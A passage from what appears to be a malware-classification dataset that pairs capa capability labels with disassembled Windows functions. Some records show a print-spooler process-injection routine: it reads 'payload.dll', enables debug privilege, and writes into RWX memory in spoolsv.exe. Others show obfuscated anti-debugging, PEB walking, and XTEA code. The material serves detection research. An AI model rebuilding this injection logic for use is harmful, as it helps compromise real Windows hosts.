joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400110b9
Capabilities:
Get file size
Read file on windows

Disassembly:
jmp 0x140018840
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x188]
mov rax, qword [0x140029158]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, [0x14002f139]
call fcn.14001179e
mov dword [rbp + 0x44], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
je 0x140018935
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rbp + 0x24], eax
mov eax, dword [rbp + 0x24]
add eax, 0x10
mov eax, eax
mov rcx, 0xffffffffffffffff
cmovb rax, rcx
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_malloc]
mov rcx, qword [rbp + 0x148]
mov qword [rcx], rax
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x44]
mov r8d, dword [rbp + 0x24]
mov rax, qword [rbp + 0x148]
mov rdx, qword [rax]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x44]
mov edi, eax
lea rcx, [rbp - 0x40]
lea rdx, [0x140023810]
call fcn.14001166d
mov eax, edi
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.1400113b6
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret

Function at 0x14001144c
Capabilities:
Terminate process

Disassembly:
jmp 0x14001a9d0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011514
Capabilities:
Enumerate processes

Disassembly:
jmp 0x140018480
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x488
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xba
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x4a8]
mov rax, qword [0x140029158]
xor rax, rbp
mov qword [rbp + 0x458], rax
lea rcx, [0x14002f139]
call fcn.14001179e
mov dword [rbp + 0x284], 0
xor edx, edx
mov ecx, 2
call fcn.140011398
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x140018508
mov dword [rbp + 0x424], 0
mov rcx, qword [rbp + 0x480]
call fcn.1400116bd
mov eax, dword [rbp + 0x424]
jmp 0x140018581
mov dword [rbp + 0x30], 0x238
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.1400114ba
test eax, eax
je 0x140018559
mov rcx, qword [rbp + 0x480]
call fcn.140011447
lea rdx, [rbp + 0x5c]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x140018548
mov eax, dword [rbp + 0x38]
mov dword [rbp + 0x284], eax
jmp 0x140018559
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.1400116c2
test eax, eax
jne 0x140018520
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x284]
mov dword [rbp + 0x444], eax
mov rcx, qword [rbp + 0x480]
call fcn.1400116bd
mov eax, dword [rbp + 0x444]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x1400234b0]
call fcn.14001166d
mov rax, rdi
mov rcx, qword [rbp + 0x458]
xor rcx, rbp
call fcn.1400113b6
lea rsp, [rbp + 0x468]
pop rdi
pop rbp
ret

Function at 0x140011546
Capabilities:
Acquire debug privileges

Disassembly:
jmp 0x140018f50
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
lea rcx, [0x14002f13b]
call fcn.14001179e
lea rdx, [0x140029588]
lea rcx, str.payload.dll
call fcn.1400110b9
mov eax, eax
mov qword [0x140029580], rax
cmp qword [0x140029580], 0
jne 0x140018fab
lea rdx, [0x140024473]
lea rcx, str.____Unable_to_read_PIC_from__s_n
call fcn.14001104b
xor eax, eax
jmp 0x140019087
call fcn.14001153c
test eax, eax
jne 0x140018fc0
lea rcx, str.____WARNING:_This_requires_elevated_privileges__n
call fcn.14001104b
mov edx, 1
lea rcx, str.SeDebugPrivilege
call fcn.1400112cb
test eax, eax
jne 0x140018fe8
lea rcx, str.____Unable_to_enable_debug_privilege_n
call fcn.14001104b
xor eax, eax
jmp 0x140019087
lea rax, [rbp + 0xe8]
mov qword [rbp + 0x128], rax
lea rdx, str.spoolsv.exe
mov rcx, qword [rbp + 0x128]
call fcn.14001127b
mov qword [rbp + 0x138], rax
mov rcx, qword [rbp + 0x138]
call fcn.140011514
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x140019035
lea rcx, str.unable_to_find_pid_for_print_spooler._n
call fcn.14001104b
xor eax, eax
jmp 0x140019087
mov edx, dword [rbp + 4]
lea rcx, str.Scanning__i_n
call fcn.14001104b
mov ecx, dword [rbp + 4]
call fcn.140011758
test eax, eax
je 0x140019060
lea rax, [0x1400247a0]
mov qword [rbp + 0x138], rax
jmp 0x14001906e
lea rax, str.FAILED
mov qword [rbp + 0x138], rax
mov rdx, qword [rbp + 0x138]
lea rcx, str.Spooler_Injection_:__s_n
call fcn.14001104b
jmp 0x140019085
xor eax, eax
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x14001155a
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001bd20
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001bd40
xor al, al
jmp 0x14001bdc1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001bd53
xor al, al
jmp 0x14001bdc1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001bd7d
xor al, al
jmp 0x14001bdc1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001bd91
xor al, al
jmp 0x14001bdc1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001bda3
xor al, al
jmp 0x14001bdc1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001bdbf
xor al, al
jmp 0x14001bdc1
mov al, 1
add rsp, 0x38
ret
Function at 0x140011730
Capabilities:
Allocate or change rwx memory

Disassembly:
jmp 0x140017e00
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x298
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x6a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x2b8]
mov rax, qword [0x140029158]
xor rax, rbp
mov qword [rbp + 0x258], rax
lea rcx, [0x14002f13b]
call fcn.14001179e
mov qword [rbp + 8], 0
mov dword [rbp + 0x24], 0
mov qword [rbp + 0x188], 0
mov rax, qword [0x140029580]
add rax, 0x10
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8, rax
xor edx, edx
mov rcx, qword [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x140018054
lea rax, [rbp + 0x168]
mov qword [rsp + 0x20], rax
mov r9, qword [0x140029580]
mov r8, qword [0x140029588]
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r8d, 0xc8
mov rdx, qword [rbp + 0x290]
lea rcx, [rbp + 0x50]
call fcn.1400113c0
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x138], rax
mov rax, qword [rbp + 0xa8]
mov qword [rbp + 0x140], rax
mov rax, qword [0x140029580]
mov rcx, qword [rbp + 8]
add rcx, rax
mov rax, rcx
lea rcx, [rbp + 0x168]
mov qword [rsp + 0x20], rcx
mov r9d, 0x10
lea r8, [rbp + 0x138]
mov rdx, rax
mov rcx, qword [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa0], rax
mov rax, qword [0x140029580]
mov rcx, qword [rbp + 8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0xa8], rax
lea rax, [rbp + 0x168]
mov qword [rsp + 0x20], rax
mov r9d, 0xc8
lea r8, [rbp + 0x50]
mov rdx, qword [rbp + 0x288]
mov rcx, qword [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r8d, r8d
lea rdx, [rbp + 0x188]
xor ecx, ecx
call fcn.140011753
test eax, eax
je 0x140017fac
mov rcx, qword [rbp + 0x188]
call fcn.140011532
lea rax, [rbp + 0x168]
mov qword [rsp + 0x20], rax
mov r9d, 0xc8
lea r8, [rbp + 0x50]
mov rdx, qword [rbp + 0x288]
mov rcx, qword [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea rax, [rbp + 0x168]
mov qword [rsp + 0x20], rax
mov r9d, 0xc8
mov r8, qword [rbp + 0x290]
mov rdx, qword [rbp + 0x288]
mov rcx, qword [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [rbp + 0x290]
mov rax, qword [rax + 0x50]
cmp qword [rbp + 0xa0], rax
jne 0x140018023
mov dword [rbp + 0x254], 1
jmp 0x14001802d
mov dword [rbp + 0x254], 0
mov eax, dword [rbp + 0x254]
mov dword [rbp + 0x24], eax
mov r9d, 0x8000
mov r8, qword [0x140029580]
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, dword [rbp + 0x24]
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x140023ce0]
call fcn.14001166d
mov eax, edi
mov rcx, qword [rbp + 0x258]
xor rcx, rbp
call fcn.1400113b6
lea rsp, [rbp + 0x268]
pop rdi
pop rbp
ret
Function at 0x140011758
Capabilities:
Get system information on windows

Disassembly:
jmp 0x140015640
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x208
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x4a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x228]
mov rax, qword [0x140029158]
xor rax, rbp
mov qword [rbp + 0x1d8], rax
lea rcx, [0x14002f13b]
call fcn.14001179e
mov dword [rbp + 0x104], 0
mov r8d, dword [rbp + 0x200]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x14001577d
lea rcx, [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov qword [rbp + 0xc8], 0
mov rax, qword [rbp + 0x38]
cmp qword [rbp + 0xc8], rax
jae 0x140015773
mov r8d, 0x30
xor edx, edx
lea rcx, [rbp + 0x78]
call fcn.1400115c8
mov r9d, 0x30
lea r8, [rbp + 0x78]
mov rdx, qword [rbp + 0xc8]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualQueryEx]
mov qword [rbp + 0xe8], rax
cmp dword [rbp + 0x98], 0x1000
jne 0x140015756
cmp dword [rbp + 0xa0], 0x20000
jne 0x140015756
cmp dword [rbp + 0x9c], 4
jne 0x140015756
mov r8, qword [rbp + 0x90]
mov rdx, qword [rbp + 0x78]
mov rcx, qword [rbp + 8]
call fcn.1400117d0
movzx eax, al
mov dword [rbp + 0x104], eax
cmp dword [rbp + 0x104], 0
je 0x140015756
jmp 0x140015773
mov rax, qword [rbp + 0x90]
mov rcx, qword [rbp + 0x78]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0xc8], rax
jmp 0x1400156c9
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x104]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x140023ee0]
call fcn.14001166d
mov eax, edi
mov rcx, qword [rbp + 0x1d8]
xor rcx, rbp
call fcn.1400113b6
lea rsp, [rbp + 0x1e8]
pop rdi
pop rbp
ret
Function at 0x6bac13a0
Capabilities:
Encode data using xor

Disassembly:
and eax, 0xcd583c43
xchg edx, eax
nop
nop
xchg ecx, eax
xor eax, 0x14e3a34f
adc al, 0x2e
insb byte [rdi], dx
imul esp, esp, 0x5a
enter 0x6443, 0x65
jae 0x6bac13a7
jb 0x6bac141c
jne 0x6bac13f2
cmpsd dword [rsi], dword [rdi]
fnsave dword [rdx + 0x65]
push rsp
cmc
add dword [r8 - reloc.IPHLPAPI.DLL_GetInterfaceInfo], esp
mov cl, 0x12
push rbp
pop rbx
xor dword [rsi - 0x3f], ebx
shr al, 0xf5
cmpsb byte [rsi], byte [rdi]
lodsb al, byte [rsi]
mov cl, 0x8d
inc bh
hlt
movsb byte [rdi], byte [rsi]
imul eax, dword [reloc.IPHLPAPI.DLL_GetInterfaceInfo], 0x7a39121d
cmp edi, dword [rbx + reloc.IPHLPAPI.DLL_GetInterfaceInfo]
invalid
adc al, 0xe8
js 0x6bac1481
insb byte [rdi], dx
add eax, 0xaa3d5b30
cmc
cmp r11d, r12d
lea edi, reloc.IPHLPAPI.DLL_GetInterfaceInfo
adc eax, 0x9e69a29b
jo 0x6bac1435
add byte [rax], ch
stosd dword [rdi], eax
sti
add dword [rsi - 0x44], ebp
retf 0x9bc
jrcxz 0x6bac149e
int 0xb9
shr byte [rcx + rdi*4], 1
pop rsp
movabs byte [0x617e82dbd0fcd741], al
out 0xb9, eax
invalid
push 0x62
ja 0x6bac150a
invalid
invalid

Function at 0x6bb21825
Capabilities:
Parse pe header

Disassembly:
push sp
lea rsp, [rsp + 1]
mov byte [rsp], r15b
lea rsp, [rsp]
jmp 0x6bb218ce
lea rsp, [rsp + 8]
mov rax, rcx
mov cx, si
mov ecx, r15d
not cl
jmp 0x6bb21843
push di
lea rsp, [rsp + 4]
jmp 0x6bb217fe
mov ecx, 0x5a4d
stc
cmp word [rax + riz], cx
push cx
push r13
jmp 0x6bb2188c
xor eax, eax
ret
lea rsp, [rsp + 2]
lea rsp, [rsp + 8]
je 0x6bb217dd
inc al
jmp 0x6bb21876
lea rsp, [rsp + 1]
movsxd rcx, dword [rax + riz + 0x3c]
push ax
lea rsp, [rsp + 1]
lea rsp, [rsp + 1]
jmp fcn.6bb218b0
Function at 0x6bb38f78
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dword [rsp + 1], eax
push qword [rsp + 7]
jmp 0x6bb38fd1
mov dword [rsp + 8], ecx
mov byte [rsp + 8], r9b
lea rsp, [rsp + 8]
mov qword [rsp], r14
call fcn.6bb39059
cmp dword [rax], ebx
jnp 0x6bb38ff4
jb 0x6bb38f87
mov dword [rsp + 8], ecx
mov byte [rsp + 8], r9b
jmp 0x6bb38fbb
and ebx, dword [rdx - 0x18]
jrcxz 0x6bb38ff8
invalid
invalid

Function at 0x6bb3905e
Capabilities:
Execute anti-debugging instructions

Disassembly:
call 0x6bb38ff6
mov byte [rsp + 1], r13b
mov byte [rsp], r15b
mov qword [rsp], rbp
call fcn.6bb390bd
push 0xffffffffffffff85
xor al, 0x27
lea rsp, [rsp + 4]
xchg qword [rsp + 0x20], rsi
call 0x6bb3905e

Function at 0x6bb39084
Capabilities:
Execute anti-debugging instructions

Disassembly:
movabs r15, 0xfffffffeebb21290
jmp 0x6bb3915e
call fcn.6bb390a4
rcr byte [rcx - 0x37], 1
test al, 0x5b
pushfq
xor bh, byte [rdx + 0x7fba4f28]
sbb esi, dword [rdx + 0x6d]
jl 0x6bb390e9
mov byte [rsp + 6], sil
jmp 0x6bb39127
mov dword [rsp + 0x50], esi
push si
call fcn.6bb39251
movsb byte [rdi], byte [rsi]
sub dword [rcx - reloc.IPHLPAPI.DLL_GetInterfaceInfo], edi
fdivr dword [rdi - 0x7d9471b6]
cmp eax, 0x24648d48
add dword [rcx + rcx*4 + 0x74], ecx
and al, 0x50
push si
jmp 0x6bb390f0
mov word [rsp + 5], sp
mov qword [rsp + 0x58], r13
call fcn.6bb39084
lea rsp, [rsp + 2]
mov qword [rsp + 0x58], r15
lea rsp, [rsp + 0x58]
jmp 0x6bb39174
rdtsc
lea r11, [r15 + rbp]
xchg sil, r12b
jmp 0x6bb39190
pushfq
jmp 0x6bb381b2
mov r11d, dword [rsp + 0x90]
mov bx, r11w
jmp 0x6bb391a2
push r15
setb bl
bswap r12d
mov bpl, 0xc4
lea rdx, [r13 + riz]
jmp 0x6bb3917a
lea rbx, [rbx + riz - 0xcd]
xchg bl, bpl
mov ax, word [rsp]
jmp 0x6bb391e9
sub rsp, 0x240
mov rsi, rsp
lea r12, [rdx*4]
jmp 0x6bb391fc
lea r13, [rsp]
mov r15d, dword [rsp]
xchg cx, si
mov dl, 0xfa
ror r8d, 2
jmp 0x6bb39220
lea r12, [r12 + r15]
mov cx, word [rsp]
sub rsp, 0x19
js 0x6bb3923a
lea rsp, [rsp + 1]
jmp 0x6bb39224
jae 0x6bb391c7
jb 0x6bb391c7
mov r8d, r11d
mov r9, 0xffffffff9eeb4e99
mov r12, rcx
cmc
jmp 0x6bb3925b
lea rsp, [rsp + 1]
jmp 0x6bb39224
jae 0x6bb39271
mov r12d, dword [rsp]
mov ax, word [rsp]
jmp 0x6bb3953f
mov r12d, dword [rsp]
mov ax, word [rsp]
lea rcx, [rbp*4]
xchg r15d, ebx
mov r9b, r10b
mov r15w, si
jmp 0x6bb39358
clc
mov cx, word [rsp]
sets r10b
mov cl, 8
jmp 0x6bb392ca
lea rcx, [0x4fbfd309]
rdtsc
mov r14d, edx
jmp 0x6bb392a5
not r11d
mov r9w, ax
mov cx, 0x7f60
mov r10, 0xffffffffb2a8ae2d
jmp 0x6bb3930f
mov r12, qword [rsp]
jmp 0x6bb392bb
cmc
bswap r14
jmp 0x6bb39332
bswap r14
jmp 0x6bb39332
mov bp, sp
jmp 0x6bb3931c
mov r12d, dword [rsp]
bsf di, ax
jl 0x6bb392e9
cmc
jmp 0x6bb392f3
lea r14, [rax + rax]
call fcn.6bb393c0
xlatb
and r10b, r9b
sbb eax, 0xb9de48ea
iretq
ror r11d, 0
clc
jns 0x6bb392f8
mov bp, sp
lea r14, [rax + rax]
jmp 0x6bb39320
neg r11d
bsr rcx, rbx
jns 0x6bb392e3
mov r12, qword [rsp]
lea rcx, [0x4fbfd309]
rdtsc
mov r14d, edx
clc
jmp 0x6bb392a6
lea rcx, [rbp*4]
xchg r15d, ebx
mov r9b, r10b
jmp 0x6bb39287
Function at 0x6bb39251
Capabilities:
Execute anti-debugging instructions

Disassembly:
push rbx
push word [rsp + 8]
jne 0x6bb39136
lea rsp, [rsp + 2]
jmp 0x6bb391bb
mov qword [rsp + 0x58], r15
lea rsp, [rsp + 0x58]
jmp 0x6bb39174
pop word [rsp + 3]
jmp 0x6bb3914f

Function at 0x6bb393c0
Capabilities:
Execute anti-debugging instructions

Disassembly:
movabs r12, 0x180000000
jmp 0x6bb39460
jmp 0x6bb3938e
inc r11d
xchg r15, rcx
mov bx, 0xea4a
mov r12d, dword [rsp]
jmp 0x6bb393a8
ror r11d, 0
lea r15, [rcx + r10]
xchg r10w, ax
mov bpl, byte [rsp]
mov r10d, 0x6f747142
setl bl
jmp 0x6bb39378
not r10b
jmp 0x6bb38275
pop rdi
neg dil
jo 0x6bb39342
jno 0x6bb39342
add r11, r12
call 0x6bb39403
push rdx
fisttp dword [rbx + 0x2e]
invalid
jmp 0x6bb393d0
mov bl, dil
mov bl, r11b
mov ebx, dword [rsp]
cmc
jge 0x6bb393e6
jl 0x6bb393d0

Function at 0x6bb39b18
Capabilities:
Execute anti-debugging instructions

Disassembly:
neg r14d
call 0x6bb39a77
mov ecx, 0x36dbbc2e
hlt
add r12b, 0xb7
btr rcx, r14
js 0x6bb399fd
neg r14d
jmp 0x6bb39ab3
lea rsp, [rsp + 6]
lea r14, [rdx + riz]
mov cx, 0xad1d
not edx
xchg r9, rdx
lea rsp, [rsp + 2]
jmp 0x6bb39a13
mov dl, r11b
mov rbp, 0xffffffffe93dfa99
mov r15w, r12w
jmp 0x6bb39af0
mov ecx, 0x73c1b75
jmp 0x6bb39b1d
dec r12b
sub rsp, 0x14
jge 0x6bb39ada
mov ecx, 0x73c1b75
mov r9w, word [rsp + 0xb]
mov r14d, dword [rsp + 0xb]
rdtsc
mov r9b, byte [rsp + 0xf]
jmp 0x6bb39c0a
jmp 0x6bb39a3e
mov r9w, word [rsp + 0xb]
mov r14d, dword [rsp + 0xb]
rdtsc
jmp 0x6bb39c05
not di
mov edi, dword [rsp]
xchg r10d, ecx
rcl r12d, cl
ja 0x6bb39b61
jbe 0x6bb39bc0
cli
cmc
pushfq
outsd dx, dword [rsi]
scasd eax, dword [rdi]
adc al, 0x87
cmp dword cs:[rax], ebx
jnp 0x6bb39bfa
mov r14w, word [rsp]
mov r14d, dword [rsp]
mov r12, 0xffffffffc5b77c6b
xchg rdi, r9
dec r11
xchg r15b, r10b
jmp 0x6bb39b77
mov r15b, 0x37
lea rbp, [rsi + riz - 0x432469c0]
jmp 0x6bb39be9
xchg r9, r14
rdtsc
xchg dx, r9w
jmp 0x6bb39baa
invalid
mov r9b, byte [rsp + 0xf]
lea rsp, [rsp + 4]
add r8b, r12b
xchg cl, al
jmp 0x6bb39b93

Function at 0x6bb4ce26
Capabilities:
Encode data using xor

Disassembly:
lea rsp, [rsp + 8]
jmp 0x6bb2559c

Function at 0x6bc754b7
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov rax, qword [rax + riz]
mov rax, qword [rax + riz + 0x10]
push rax
jmp 0x6bc74029
mov rax, qword gs:[0x60]
mov rax, qword [rax + riz + 0x18]
mov rax, qword [rax + riz + 0x30]
jmp 0x6bc75187
push qword [rsp + 3]
lea rsp, [rsp + 3]
lea rsp, [rsp + 0x28]
jmp 0x6bc751b5
Function at 0x140002590
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r15
sub rsp, 0x30
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor esi, esi
xor eax, eax
lock cmpxchg qword [0x140004650], rbx
je 0x1400025dc
cmp rax, rbx
jne 0x1400025cf
mov ebx, 1
mov esi, ebx
jmp 0x1400025e1
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400025b4
mov ebx, 1
mov eax, dword [0x140004658]
cmp eax, ebx
jne 0x1400025f7
mov ecx, 0x1f
call sub.msvcrt.dll__amsg_exit
jmp 0x14000265c
mov eax, dword [0x140004658]
test eax, eax
jne 0x140002656
mov dword [0x140004658], ebx
lea r15, [0x1400033c0]
lea rdi, [0x1400033a8]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
cmp rdi, r15
jae 0x140002648
test eax, eax
jne 0x14000264c
cmp qword [rdi], 0
je 0x14000263d
mov rax, qword [rdi]
mov rcx, qword [0x140003388]
call rcx
mov dword [rsp + 0x20], eax
add rdi, 8
mov qword [rsp + 0x28], rdi
jmp 0x14000261e
test eax, eax
je 0x14000265c
mov eax, 0xff
jmp 0x140002738
mov dword [0x140004064], ebx
mov eax, dword [0x140004658]
cmp eax, ebx
jne 0x140002683
lea rdx, [0x1400033a0]
lea rcx, [0x140003390]
call sub.msvcrt.dll__initterm
mov dword [0x140004658], 2
test esi, esi
jne 0x140002690
xor eax, eax
xchg qword [0x140004650], rax
cmp qword [0x140004660], 0
je 0x1400026c4
lea rcx, [0x140004660]
call fcn.140002940
test eax, eax
je 0x1400026c4
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140004660]
mov r9, qword [0x140003388]
call r9
mov r8, qword [0x140004078]
mov rdx, qword [0x140004070]
mov ecx, dword [0x140004068]
call fcn.1400019b0
mov dword [0x140004060], eax
cmp dword [0x140004080], 0
jne 0x1400026f4
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x140004064], 0
jne 0x140002709
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x140004060]
jmp 0x140002738
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r15
ret
sub rsp, 0x28
call fcn.14013d000
add rsp, 0x28
jmp 0x140002590

Function at 0x14000282c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140002878
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140002870
cmp dword [rcx + 0x3c], edx
jl 0x140002870
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140002870
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x140002878
mov rax, rdx
add rsp, 0x18
ret
Function at 0x1400021d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400098a0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400021f0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400021f8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400021f0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000224d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002244
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400021f0
add rax, 0x28
cmp rax, r9
jne 0x140002230
xor eax, eax
ret

Function at 0x140002250
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400098a0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000226f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002278
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000226f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002310
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400098a0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000232f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002338
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140007b30
Capabilities:
Encode data using xor
Encrypt data using xtea

Disassembly:
push rbx
mov eax, 0xc6ef3720
mov r8d, dword [rcx]
mov r10, rcx
mov ecx, dword [rcx + 4]
mov r11, rdx
nop word [rax + rax]
mov edx, eax
mov ebx, r8d
shr edx, 0xb
shr ebx, 5
and edx, 3
mov r9d, dword [r11 + rdx*4]
mov edx, r8d
shl edx, 4
xor edx, ebx
add r9d, eax
add eax, 0x61c88647
add edx, r8d
xor edx, r9d
sub ecx, edx
mov edx, eax
and edx, 3
mov ebx, ecx
mov r9d, dword [r11 + rdx*4]
mov edx, ecx
shr ebx, 5
shl edx, 4
xor edx, ebx
add r9d, eax
add edx, ecx
xor edx, r9d
sub r8d, edx
test eax, eax
jne 0x140007b48
mov dword [r10], r8d
mov dword [r10 + 4], ecx
pop rbx
ret

Function at 0x140007ba0
Capabilities:
Encode data using xor
Encrypt data using xtea

Disassembly:
push rbx
xor eax, eax
mov r8d, dword [rcx]
mov r10, rcx
mov ecx, dword [rcx + 4]
mov r11, rdx
nop
mov edx, eax
mov ebx, ecx
and edx, 3
shr ebx, 5
mov r9d, dword [r11 + rdx*4]
mov edx, ecx
shl edx, 4
xor edx, ebx
add r9d, eax
sub eax, 0x61c88647
add edx, ecx
xor edx, r9d
add r8d, edx
mov edx, eax
shr edx, 0xb
mov ebx, r8d
and edx, 3
shr ebx, 5
mov r9d, dword [r11 + rdx*4]
mov edx, r8d
shl edx, 4
xor edx, ebx
add r9d, eax
add edx, r8d
xor edx, r9d
add ecx, edx
cmp eax, 0xc6ef3720
jne 0x140007bb0
mov dword [r10], r8d
mov dword [r10 + 4], ecx
